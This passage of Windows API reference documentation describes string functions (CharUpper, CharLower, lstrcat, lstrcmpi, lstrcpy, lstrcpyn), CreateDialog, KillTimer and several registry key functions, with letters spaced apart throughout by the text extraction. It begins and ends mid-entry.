char act er s i n pl ace. Thi s f unct i on super sedes t he Ansi Upper f unct i on.

LPTSTR Char Upper (
LPTSTR l psz / / si ngl e char act er or poi nt er t o st r i ng
) ;

Par amet er s

l psz

Poi nt er t o a nul l - t er mi nat ed st r i ng or speci f i es a si ngl e char act er . I f t he
hi gh- or der wor d of t hi s par amet er i s zer o, t he l ow- or der wor d must cont ai n a
si ngl e char act er t o be conver t ed.


Ret ur n Val ues

I f t he oper and i s a char act er st r i ng, t he f unct i on r et ur ns a poi nt er t o t he
conver t ed st r i ng. Si nce t he st r i ng i s conver t ed i n pl ace, t he r et ur n val ue i s
equal t o l psz.

I f t he oper and i s a si ngl e char act er , t he r et ur n val ue i s a 32- bi t val ue whose
hi gh- or der wor d i s zer o, and l ow- or der wor d cont ai ns t he conver t ed char act er .

Ther e i s no i ndi cat i on of success or f ai l ur e. Fai l ur e i s r ar e.

Remar ks

Wi ndows NT: To make t he conver si on, t he f unct i on uses t he l anguage dr i ver f or
t he cur r ent l anguage sel ect ed by t he user at set up or by usi ng t he Cont r ol
Panel . I f no l anguage has been sel ect ed, Wi ndows compl et es t he conver si on by
usi ng i nt er nal def aul t mappi ng. The conver si on i s made based on t he code page
associ at ed wi t h t he pr ocess l ocal e.


Wi ndows 95: The f unct i on makes t he conver si on based on t he i nf or mat i on
associ at ed wi t h t he user ' s def aul t l ocal e, whi ch i s t he l ocal e sel ect ed by t he
user at set up or by usi ng t he Cont r ol Panel . Wi ndows 95 does not have l anguage
dr i ver s.

See Al so

Char Lower

CharLower

The Char Lower f unct i on conver t s a char act er st r i ng or a si ngl e char act er t o
l ower case. I f t he oper and i s a char act er st r i ng, t he f unct i on conver t s t he
char act er s i n pl ace. Thi s f unct i on super sedes t he Ansi Lower f unct i on.

LPTSTR Char Lower (
LPTSTR l psz / / si ngl e char act er or poi nt er t o st r i ng
) ;

Par amet er s

l psz

Poi nt er t o a nul l - t er mi nat ed st r i ng or speci f i es a si ngl e char act er . I f t he
hi gh- or der wor d of t hi s par amet er i s zer o, t he l ow- or der wor d must cont ai n a
si ngl e char act er t o be conver t ed.


Ret ur n Val ues

I f t he oper and i s a char act er st r i ng, t he f unct i on r et ur ns a poi nt er t o t he
conver t ed st r i ng. Si nce t he st r i ng i s conver t ed i n pl ace, t he r et ur n val ue i s
equal t o l psz.

I f t he oper and i s a si ngl e char act er , t he r et ur n val ue i s a 32- bi t val ue whose
hi gh- or der wor d i s zer o, and l ow- or der wor d cont ai ns t he conver t ed char act er .

Ther e i s no i ndi cat i on of success or f ai l ur e. Fai l ur e i s r ar e.

Remar ks

Wi ndows NT: To make t he conver si on, t he f unct i on uses t he l anguage dr i ver f or
t he cur r ent l anguage sel ect ed by t he user at set up or by usi ng t he Cont r ol
Panel . I f no l anguage has been sel ect ed, Wi ndows compl et es t he conver si on by
usi ng i nt er nal def aul t mappi ng. The conver si on i s made based on t he code page
associ at ed wi t h t he pr ocess l ocal e.


Wi ndows 95: The f unct i on makes t he conver si on based on t he i nf or mat i on
associ at ed wi t h t he user ' s def aul t l ocal e, whi ch i s t he l ocal e sel ect ed by t he
user at set up or by usi ng t he Cont r ol Panel . Wi ndows 95 does not have l anguage
dr i ver s.

See Al so

Char Lower Buf f , Char Upper

CreateDialog

The Cr eat eDi al og macr o cr eat es a model ess di al og box f r oma di al og box t empl at e
r esour ce. The Cr eat eDi al og macr o uses t he Cr eat eDi al ogPar amf unct i on.

HWND Cr eat eDi al og(
HI NSTANCE hI nst ance, / / handl e t o appl i cat i on i nst ance
LPCTSTR l pTempl at e, / / i dent i f i es di al og box t empl at e name
HWND hWndPar ent , / / handl e t o owner wi ndow
DLGPROC l pDi al ogFunc / / poi nt er t o di al og box pr ocedur e
) ;

Par amet er s

hI nst ance

I dent i f i es an i nst ance of t he modul e whose execut abl e f i l e cont ai ns t he di al og
box t empl at e.

l pTempl at e

I dent i f i es t he di al og box t empl at e. Thi s par amet er i s ei t her t he poi nt er t o a
nul l - t er mi nat ed char act er st r i ng t hat speci f i es t he name of t he di al og box
t empl at e or an i nt eger val ue t hat speci f i es t he r esour ce i dent i f i er of t he
di al og box t empl at e. I f t he par amet er speci f i es a r esour ce i dent i f i er , i t s hi gh-
or der wor d must be zer o and i t s l ow- or der wor d must cont ai n t he i dent i f i er . You
can use t he MAKEI NTRESOURCE macr o t o cr eat e t hi s val ue.

hWndPar ent

I dent i f i es t he wi ndow t hat owns t he di al og box.

l pDi al ogFunc

Poi nt s t o t he di al og box pr ocedur e. For mor e i nf or mat i on about t he di al og box
pr ocedur e, see Di al ogPr oc.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he handl e t o t he di al og box.
I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL.

Remar ks

The Cr eat eDi al og f unct i on uses t he Cr eat eWi ndowEx f unct i on t o cr eat e t he di al og
box. Cr eat eDi al og t hen sends a WM_I NI TDI ALOG message ( and a WM_SETFONT message
i f t he t empl at e speci f i es t he DS_SETFONT st yl e) t o t he di al og box pr ocedur e. The
f unct i on di spl ays t he di al og box i f t he t empl at e speci f i es t he WS_VI SI BLE st yl e.
Fi nal l y, Cr eat eDi al og r et ur ns t he wi ndow handl e t o t he di al og box.
Af t er Cr eat eDi al og r et ur ns, t he appl i cat i on di spl ays t he di al og box ( i f i t i s
not al r eady di spl ayed) by usi ng t he ShowWi ndow f unct i on. The appl i cat i on
dest r oys t he di al og box by usi ng t he Dest r oyWi ndow f unct i on.
Wi ndows 95: The syst emcan suppor t a maxi mumof 16, 364 wi ndow handl es.

See Al so

Cr eat eDi al ogI ndi r ect , Cr eat eDi al ogI ndi r ect Par am, Cr eat eDi al ogPar am,
Cr eat eWi ndowEx, Dest r oyWi ndow, Di al ogBox, Di al ogPr oc, ShowWi ndow, WM_I NI TDI ALOG,
WM_SETFONT





KillTimer

The Ki l l Ti mer f unct i on dest r oys t he speci f i ed t i mer .

BOOL Ki l l Ti mer (

HWND hWnd, / / handl e of wi ndow t hat i nst al l ed t i mer
UI NT uI DEvent / / t i mer i dent i f i er
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow associ at ed wi t h t he speci f i ed t i mer . Thi s val ue must be
t he same as t he hWnd val ue passed t o t he Set Ti mer f unct i on t hat cr eat ed t he
t i mer .

uI DEvent

Speci f i es t he t i mer t o be dest r oyed. I f t he wi ndow handl e passed t o Set Ti mer i s
val i d, t hi s par amet er must be t he same as t he uI DEvent val ue passed t o Set Ti mer .
I f t he appl i cat i on cal l s Set Ti mer wi t h hWnd set t o NULL, t hi s par amet er must be
t he t i mer i dent i f i er r et ur ned by Set Ti mer .


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s nonzer o.

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

The Ki l l Ti mer f unct i on does not r emove WM_TI MER messages al r eady post ed t o t he
message queue.

See Al so

Set Ti mer


lstrcat


The l st r cat f unct i on appends one st r i ng t o anot her .

LPTSTR l st r cat (

LPTSTR l pSt r i ng1, / / addr ess of buf f er f or concat enat ed st r i ngs
LPCTSTR l pSt r i ng2 / / addr ess of st r i ng t o add t o st r i ng1
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a nul l - t er mi nat ed st r i ng. The buf f er must be l ar ge enough t o cont ai n
bot h st r i ngs.

l pSt r i ng2

Poi nt s t o t he nul l - t er mi nat ed st r i ng t o be appended t o t he st r i ng speci f i ed i n
t he l pSt r i ng1 par amet er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .


I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

See Al so

l st r cmp

lstrcmpi

The l st r cmpi f unct i on compar es t wo char act er st r i ngs. The compar i son i s not case
sensi t i ve.

i nt l st r cmpi (

LPCTSTR l pSt r i ng1, / / addr ess of f i r st st r i ng
LPCTSTR l pSt r i ng2 / / addr ess of second st r i ng
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o t he f i r st nul l - t er mi nat ed st r i ng t o be compar ed.

l pSt r i ng2

Poi nt s t o t he second nul l - t er mi nat ed st r i ng t o be compar ed.

Ret ur n Val ues

I f t he f unct i on succeeds and t he st r i ng poi nt ed t o by l pSt r i ng1 i s l ess t han t he
st r i ng poi nt ed t o by l pSt r i ng2, t he r et ur n val ue i s negat i ve; i f t he st r i ng
poi nt ed t o by l pSt r i ng1 i s gr eat er t han t he st r i ng poi nt ed t o by l pSt r i ng2, i t
i s posi t i ve. I f t he st r i ngs ar e equal , t he r et ur n val ue i s zer o.


Remar ks

The l st r cmpi f unct i on compar es t wo st r i ngs by checki ng t he f i r st char act er s
agai nst each ot her , t he second char act er s agai nst each ot her , and so on unt i l i t
f i nds an i nequal i t y or r eaches t he ends of t he st r i ngs.

The f unct i on r et ur ns t he di f f er ence of t he val ues of t he f i r st unequal
char act er s i t encount er s. For exampl e, l st r cmpi det er mi nes t hat " abcz" i s
gr eat er t han " abcdef g" and r et ur ns t he di f f er ence of z and d.

The l anguage ( l ocal e) sel ect ed by t he user at set up t i me, or by usi ng t he
cont r ol panel , det er mi nes whi ch st r i ng i s gr eat er ( or whet her t he st r i ngs ar e
t he same) . I f no l anguage ( l ocal e) i s sel ect ed, Wi ndows per f or ms t he compar i son
by usi ng def aul t val ues.


For some l ocal es, t he l st r cmpi f unct i on may be i nsuf f i ci ent . I f t hi s occur s, use
Compar eSt r i ng t o ensur e pr oper compar i son. For exampl e, i n J apan cal l
Compar eSt r i ng wi t h t he I GNORE_CASE, I GNORE_KANATYPE, and I GNORE_WI DTH val ues t o
achi eve t he most appr opr i at e non- exact st r i ng compar i son. The I GNORE_KANATYPE
and I GNORE_WI DTH val ues ar e i gnor ed i n non- Asi an l ocal es, so you can set t hese
val ues f or al l l ocal es and be guar ant eed t o have a cul t ur al l y cor r ect
" i nsensi t i ve" sor t i ng r egar dl ess of t he l ocal e. Not e t hat speci f yi ng t hese
val ues sl ows per f or mance, so use t hemonl y when necessar y.


Wi t h a doubl e- byt e char act er set ( DBCS) ver si on of Wi ndows, t hi s f unct i on can
compar e t wo DBCS st r i ngs.

The Wi n32 l st r cmpi f unct i on uses a wor d sor t , r at her t han a st r i ng sor t . A wor d
sor t t r eat s hyphens and apost r ophes di f f er ent l y t han i t t r eat s ot her symbol s
t hat ar e not al phanumer i c, i n or der t o ensur e t hat wor ds such as " coop" and " co-
op" st ay t oget her wi t hi n a sor t ed l i st . Not e t hat i n 16- bi t ver si ons of Wi ndows,
l st r cmpi uses a st r i ng sor t . For a det ai l ed di scussi on of wor d sor t s and st r i ng
sor t s, see t he Remar ks sect i on of t he r ef er ence page f or t he Compar eSt r i ng
f unct i on .

See Al so

Compar eSt r i ng, l st r cmp


lstrcpy

The l st r cpy f unct i on copi es a st r i ng t o a buf f er .

LPTSTR l st r cpy(

LPTSTR l pSt r i ng1, / / addr ess of buf f er
LPCTSTR l pSt r i ng2 / / addr ess of st r i ng t o copy
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a buf f er t o r ecei ve t he cont ent s of t he st r i ng poi nt ed t o by t he
l pSt r i ng2 par amet er . The buf f er must be l ar ge enough t o cont ai n t he st r i ng,
i ncl udi ng t he t er mi nat i ng nul l char act er .

l pSt r i ng2

Poi nt s t o t he nul l - t er mi nat ed st r i ng t o be copi ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .


I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Wi t h a doubl e- byt e char act er set ( DBCS) ver si on of Wi ndows, t hi s f unct i on can be
used t o copy a DBCS st r i ng.

See Al so

l st r cat , l st r cpyn

lstrcpyn

The l st r cpyn f unct i on copi es a speci f i ed number of char act er s f r oma sour ce
st r i ng i nt o a buf f er .


LPTSTR l st r cpyn(

LPTSTR l pSt r i ng1, / / addr ess of t ar get buf f er
LPCTSTR l pSt r i ng2, / / addr ess of sour ce st r i ng
i nt i MaxLengt h / / number of byt es or char act er s t o copy
) ;

Par amet er s

l pSt r i ng1

Poi nt s t o a buf f er i nt o whi ch t he f unct i on copi es char act er s. The buf f er must be
l ar ge enough t o cont ai n t he number of byt es ( ANSI ver si on) or char act er s
( Uni code ver si on) speci f i ed by i MaxLengt h, i ncl udi ng r oomf or a t er mi nat i ng nul l
char act er .

l pSt r i ng2


Poi nt s t o a nul l - t er mi nat ed st r i ng f r omwhi ch t he f unct i on copi es char act er s.

i MaxLengt h

Speci f i es t he number byt es ( ANSI ver si on) or char act er s ( Uni code ver si on) t o be
copi ed f r omt he st r i ng poi nt ed t o by l pSt r i ng2 i nt o t he buf f er poi nt ed t o by
l pSt r i ng1, i ncl udi ng a t er mi nat i ng nul l char act er .

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s a poi nt er t o t he buf f er .

I f t he f unct i on f ai l s, t he r et ur n val ue i s NULL. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .


Remar ks

Not e t hat t he buf f er poi nt ed t o by l pSt r i ng1 must be l ar ge enough t o i ncl ude a
t er mi nat i ng nul l char act er , and t he st r i ng l engt h val ue speci f i ed by i MaxLengt h
i ncl udes r oomf or a t er mi nat i ng nul l char act er . Thus, t he f ol l owi ng code

TCHAR chBuf f er [ 512] ;

l st r cpyn( chBuf f er , " abcdef ghi j kl mnop" , 4) ;

. . . copi es t he st r i ng " abc" , f ol l owed by a t er mi nat i ng nul l char act er , t o
chBuf f er .

See Al so

l st r cat , l st r cpy

RegCreateKey


The RegCr eat eKey f unct i on cr eat es t he speci f i ed key. I f t he key al r eady exi st s
i n t he r egi st r y, t he f unct i on opens i t . Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegCr eat eKeyEx f unct i on.


LONG RegCr eat eKey(

HKEY hKey, / / handl e of an open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
PHKEY phkResul t / / addr ess of buf f er f or opened handl e
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened or cr eat ed by t hi s f unct i on i s a subkey of t he key i dent i f i ed by
hKey.

l pSubKey


Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of a key t hat t hi s
f unct i on opens or cr eat es. Thi s key must be a subkey of t he key i dent i f i ed by
t he hKey par amet er .

I f hKey i s one of t he pr edef i ned keys, l pSubKey may be NULL. I n t hat case, t he
handl e r et ur ned by usi ng phkResul t i s t he same hKey handl e passed i n t o t he
f unct i on.

phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened or cr eat ed key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.


I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

An appl i cat i on can use t he RegCr eat eKey f unct i on t o cr eat e sever al keys at once.
For exampl e, an appl i cat i on can cr eat e a subkey f our l evel s deep at t he same
t i me as t he t hr ee pr ecedi ng subkeys by speci f yi ng a st r i ng of t he f ol l owi ng f or m
f or t he l pSubKey par amet er :


subkey1\ subkey2\ subkey3\ subkey4

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_CREATE_SUB_KEY access ( KEY_WRI TE access i ncl udes KEY_CREATE_SUB_KEY access) .

I f t he l pSubKey par amet er i s t he addr ess of an empt y st r i ng, t he f unct i on opens
and t hen passes back t he key i dent i f i ed by t he hKey par amet er .

See Al so

RegCl oseKey, RegCr eat eKeyEx, RegDel et eKey, RegOpenKey

RegCloseKey

The RegCl oseKey f unct i on r el eases t he handl e of t he speci f i ed key.

LONG RegCl oseKey(

HKEY hKey / / handl e of key t o cl ose
) ;

Par amet er s

hKey

I dent i f i es t he open key t o cl ose.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

The handl e f or a speci f i ed key shoul d not be used af t er i t has been cl osed,
because i t wi l l no l onger be val i d. Key handl es shoul d not be l ef t open any
l onger t han necessar y.

The RegCl oseKey f unct i on does not necessar i l y wr i t e i nf or mat i on t o t he r egi st r y
bef or e r et ur ni ng; i t can t ake as much as sever al seconds f or t he cache t o be
f l ushed t o t he har d di sk. I f an appl i cat i on must expl i ci t l y wr i t e r egi st r y
i nf or mat i on t o t he har d di sk, i t can use t he RegFl ushKey f unct i on. RegFl ushKey,
however , uses many syst emr esour ces and shoul d be cal l ed onl y when necessar y.

See Al so

RegCr eat eKey, RegCr eat eKeyEx, RegDel et eKey, RegFl ushKey, RegOpenKey,
RegOpenKeyEx, RegSet Val ue, RegSet Val ueEx

RegCreateKeyEx


The RegCr eat eKeyEx f unct i on cr eat es t he speci f i ed key. I f t he key al r eady exi st s
i n t he r egi st r y, t he f unct i on opens i t .


LONG RegCr eat eKeyEx(

HKEY hKey, / / handl e of an open key
LPCTSTR l pSubKey, / / addr ess of subkey name
DWORD Reser ved, / / r eser ved
LPTSTR l pCl ass, / / addr ess of cl ass st r i ng
DWORD dwOpt i ons, / / speci al opt i ons f l ag
REGSAM samDesi r ed, / / desi r ed secur i t y access
LPSECURI TY_ATTRI BUTES l pSecur i t yAt t r i but es, / / addr ess of key secur i t y
st r uct ur e
PHKEY phkResul t , / / addr ess of buf f er f or opened handl e
LPDWORD l pdwDi sposi t i on / / addr ess of di sposi t i on val ue buf f er

) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened or cr eat ed by t he RegCr eat eKeyEx f unct i on i s a subkey of t he key
i dent i f i ed by t he hKey par amet er .

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of a subkey t hat t hi s
f unct i on opens or cr eat es. The subkey speci f i ed must be a subkey of t he key
i dent i f i ed by t he hKey par amet er . Thi s subkey must not begi n wi t h t he backsl ash
char act er ( ' \ ' ) . Thi s par amet er cannot be NULL.


Reser ved

Reser ved; must be zer o.

l pCl ass

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he cl ass ( obj ect t ype) of
t hi s key. Thi s par amet er i s i gnor ed i f t he key al r eady exi st s.

dwOpt i ons

Speci f i es speci al opt i ons f or t he key. Thi s par amet er can be one of t he
f ol l owi ng val ues.

REG_OPTI ON_NON_VOLATI LE
Thi s key i s not vol at i l e; t hi s i s t he def aul t . The i nf or mat i on i s st or ed i n a
f i l e and i s pr eser ved when t he syst emi s r est ar t ed. The RegSaveKey f unct i on
saves keys t hat ar e not vol at i l e.


REG_OPTI ON_VOLATI LE
Wi ndows NT: Thi s key i s vol at i l e; t he i nf or mat i on i s st or ed i n memor y and i s not
pr eser ved when t he syst emi s r est ar t ed. The RegSaveKey f unct i on does not save
vol at i l e keys. Thi s f l ag i s i gnor ed i f t he key al r eady exi st s.

Wi ndows 95: Thi s val ue i s i gnor ed i n Wi ndows 95. I f REG_OPTI ON_VOLATI LE i s
speci f i ed, t he RegCr eat eKeyEx f unct i on cr eat es a nonvol at i l e key and r et ur ns
ERROR_SUCCESS.

REG_OPTI ON_BACKUP_RESTORE
Wi ndows NT: I f t hi s f l ag i s set , t he f unct i on i gnor es t he samDesi r ed par amet er
and at t empt s t o open t he key wi t h t he access r equi r ed t o backup or r est or e t he
key. I f t he cal l i ng t hr ead has t he SE_BACKUP_NAME pr i vi l ege enabl ed, t he key i s
opened wi t h ACCESS_SYSTEM_SECURI TY and KEY_READ access. I f t he cal l i ng t hr ead
has t he SE_RESTORE_NAME pr i vi l ege enabl ed, t he key i s opened wi t h
ACCESS_SYSTEM_SECURI TY and KEY_WRI TE access. I f bot h pr i vi l eges ar e enabl ed, t he
key has t he combi ned accesses f or bot h pr i vi l eges.
Wi ndows 95: Thi s f l ag i s i gnor ed. Wi ndows 95 does not suppor t secur i t y i n i t s
r egi st r y.

samDesi r ed

Speci f i es an access mask t hat speci f i es t he desi r ed secur i t y access f or t he new
key. Thi s par amet er can be a combi nat i on of t he f ol l owi ng val ues:

KEY_ALL_ACCESS
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTI FY,
KEY_CREATE_SUB_KEY, KEY_CREATE_LI NK, and KEY_SET_VALUE access.

KEY_CREATE_LI NK
Per mi ssi on t o cr eat e a symbol i c l i nk.


KEY_CREATE_SUB_KEY
Per mi ssi on t o cr eat e subkeys.

KEY_ENUMERATE_SUB_KEYS
Per mi ssi on t o enumer at e subkeys.

KEY_EXECUTE
Per mi ssi on f or r ead access.

KEY_NOTI FY
Per mi ssi on f or change not i f i cat i on.

KEY_QUERY_VALUE
Per mi ssi on t o quer y subkey dat a.

KEY_READ
Combi nat i on of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTI FY access.

KEY_SET_VALUE
Per mi ssi on t o set subkey dat a.

KEY_WRI TE

Combi nat i on of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access.


l pSecur i t yAt t r i but es

Poi nt er t o a SECURI TY_ATTRI BUTES st r uct ur e t hat det er mi nes whet her t he r et ur ned
handl e can be i nher i t ed by chi l d pr ocesses. I f l pSecur i t yAt t r i but es i s NULL, t he
handl e cannot be i nher i t ed.

Wi ndows NT: The l pSecur i t yDescr i pt or member of t he st r uct ur e speci f i es a
secur i t y descr i pt or f or t he new key. I f l pSecur i t yAt t r i but es i s NULL, t he key
get s a def aul t secur i t y descr i pt or .

Wi ndows 95: The l pSecur i t yDescr i pt or member of t he st r uct ur e i s i gnor ed.


phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened or cr eat ed key.

l pdwDi sposi t i on

Poi nt s t o a var i abl e t hat r ecei ves one of t he f ol l owi ng di sposi t i on val ues:

REG_CREATED_NEW_KEY
The key di d not exi st and was cr eat ed.

REG_OPENED_EXI STI NG_KEY
The key exi st ed and was si mpl y opened wi t hout bei ng changed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .


Remar ks

The key t hat t he RegCr eat eKeyEx f unct i on cr eat es has no val ues. An appl i cat i on
can use t he RegSet Val ue or RegSet Val ueEx f unct i on t o set key val ues.

The key i dent i f i ed by t he hKey par amet er must have been opened wi t h
KEY_CREATE_SUB_KEY access. To open t he key, use t he RegCr eat eKeyEx or
RegOpenKeyEx f unct i on.

An appl i cat i on cannot cr eat e a key under HKEY_USERS or HKEY_LOCAL_MACHI NE.

An appl i cat i on can use RegCr eat eKeyEx t o t empor ar i l y l ock a por t i on of t he
r egi st r y. When t he l ocki ng pr ocess cr eat es a new key, i t r ecei ves t he
di sposi t i on val ue REG_CREATED_NEW_KEY, i ndi cat i ng t hat i t " owns" t he l ock.
Anot her pr ocess at t empt i ng t o cr eat e t he same key r ecei ves t he di sposi t i on val ue
REG_OPENED_EXI STI NG_KEY, i ndi cat i ng t hat anot her pr ocess al r eady owns t he l ock.


See Al so

RegCl oseKey, RegCr eat eKey, RegDel et eKey, RegOpenKey, RegOpenKeyEx

RegDeleteKey


Wi ndows 95: The RegDel et eKey f unct i on del et es a key and al l i t s descendent s.

Wi ndows NT: The RegDel et eKey f unct i on del et es t he speci f i ed key. Thi s f unct i on
cannot del et e a key t hat has subkeys.

LONG RegDel et eKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey / / addr ess of name of subkey t o del et e
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key speci f i ed by t he l pSubKey par amet er must be a subkey of t he key
i dent i f i ed by hKey.

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng speci f yi ng t he name of t he key t o del et e.
Thi s par amet er cannot be NULL, and t he speci f i ed key must not have subkeys.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f t he f unct i on succeeds, RegDel et eKey r emoves t he speci f i ed key f r omt he
r egi st r y. The ent i r e key, i ncl udi ng al l of i t s val ues, i s r emoved.

To open t he key, use t he RegCr eat eKeyEx or RegOpenKeyEx f unct i on. Do not use t he
RegCr eat eKey or RegOpenKey f unct i ons.


See Al so

RegCl oseKey

RegLoadKey

The RegLoadKey f unct i on cr eat es a subkey under HKEY_USER or HKEY_LOCAL_MACHI NE
and st or es r egi st r at i on i nf or mat i on f r oma speci f i ed f i l e i nt o t hat subkey. Thi s
r egi st r at i on i nf or mat i on i s i n t he f or mof a hi ve. A hi ve i s a di scr et e body of
keys, subkeys, and val ues t hat i s r oot ed at t he t op of t he r egi st r y hi er ar chy. A
hi ve i s backed by a si ngl e f i l e and . LOG f i l e.



LONG RegLoadKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey
LPCTSTR l pFi l e / / addr ess of f i l ename f or r egi st r y i nf or mat i on
) ;

Par amet er s

hKey

Speci f i es t he key wher e t he subkey wi l l be cr eat ed. Thi s can be a pr edef i ned
r eser ved handl e val ue, or a handl e r et ur ned by a cal l t o RegConnect Regi st r y. The
pr edef i ned r eser ved handl e val ues ar e:

HKEY_LOCAL_MACHI NE
HKEY_USERS

Thi s f unct i on al ways l oads i nf or mat i on at t he t op of t he r egi st r y hi er ar chy. The
HKEY_CLASSES_ROOT and HKEY_CURRENT_USER handl e val ues cannot be speci f i ed f or
t hi s par amet er , because t hey r epr esent subset s of t he HKEY_LOCAL_MACHI NE and
HKEY_USERS handl e val ues, r espect i vel y.


l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he name of t he key t o be
cr eat ed under hKey. Thi s subkey i s wher e t he r egi st r at i on i nf or mat i on f r omt he
f i l e wi l l be l oaded.

l pFi l e

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of a f i l e t hat has
r egi st r at i on i nf or mat i on. Thi s f i l e must have been cr eat ed wi t h t he RegSaveKey
f unct i on. Under t he f i l e al l ocat i on t abl e ( FAT) f i l e syst em, t he f i l ename may
not have an ext ensi on.

Ret ur n Val ues


I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
WI NERROR. H. You can use t he For mat Message f unct i on wi t h t he
FORMAT_MESSAGE_FROM_SYSTEM f l ag t o get a gener i c descr i pt i on of t he er r or .

Remar ks

I f hKey i s a handl e r et ur ned by RegConnect Regi st r y, t hen t he pat h speci f i ed i n
l pFi l e i s r el at i ve t o t he r emot e comput er .

Wi ndows NT: The cal l i ng pr ocess must have t he SE_RESTORE_NAME pr i vi l ege. For
mor e i nf or mat i on about pr i vi l eges, see Pr i vi l eges.


Wi ndows 95: Secur i t y pr i vi l eges ar e not suppor t ed or r equi r ed.

See Al so

RegConnect Regi st r y, RegDel et eKey, RegRepl aceKey, RegRest or eKey


RegOpenKey


The RegOpenKey f unct i on opens t he speci f i ed key. Thi s f unct i on i s pr ovi ded f or
compat i bi l i t y wi t h Wi ndows ver si on 3. 1. Wi n32- based appl i cat i ons shoul d use t he
RegOpenKeyEx f unct i on.



LONG RegOpenKey(

HKEY hKey, / / handl e of open key
LPCTSTR l pSubKey, / / addr ess of name of subkey t o open
PHKEY phkResul t / / addr ess of handl e of open key
) ;

Par amet er s

hKey

I dent i f i es a cur r ent l y open key or any of t he f ol l owi ng pr edef i ned r eser ved
handl e val ues:

HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHI NE
HKEY_USERS

The key opened by t he RegOpenKey f unct i on i s a subkey of t he key i dent i f i ed by
hKey.

l pSubKey

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he name of t he key t o open. Thi s
key must be a subkey of t he key i dent i f i ed by t he hKey par amet er . I f t hi s
par amet er i s NULL or a poi nt er t o an empt y st r i ng, t he f unct i on r et ur ns t he same
handl e t hat was passed i n.


phkResul t

Poi nt s t o a var i abl e t hat r ecei ves t he handl e of t he opened key.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s ERROR_SUCCESS.

I f t he f unct i on f ai l s, t he r et ur n val ue i s a nonzer o er r or code def i ned i n
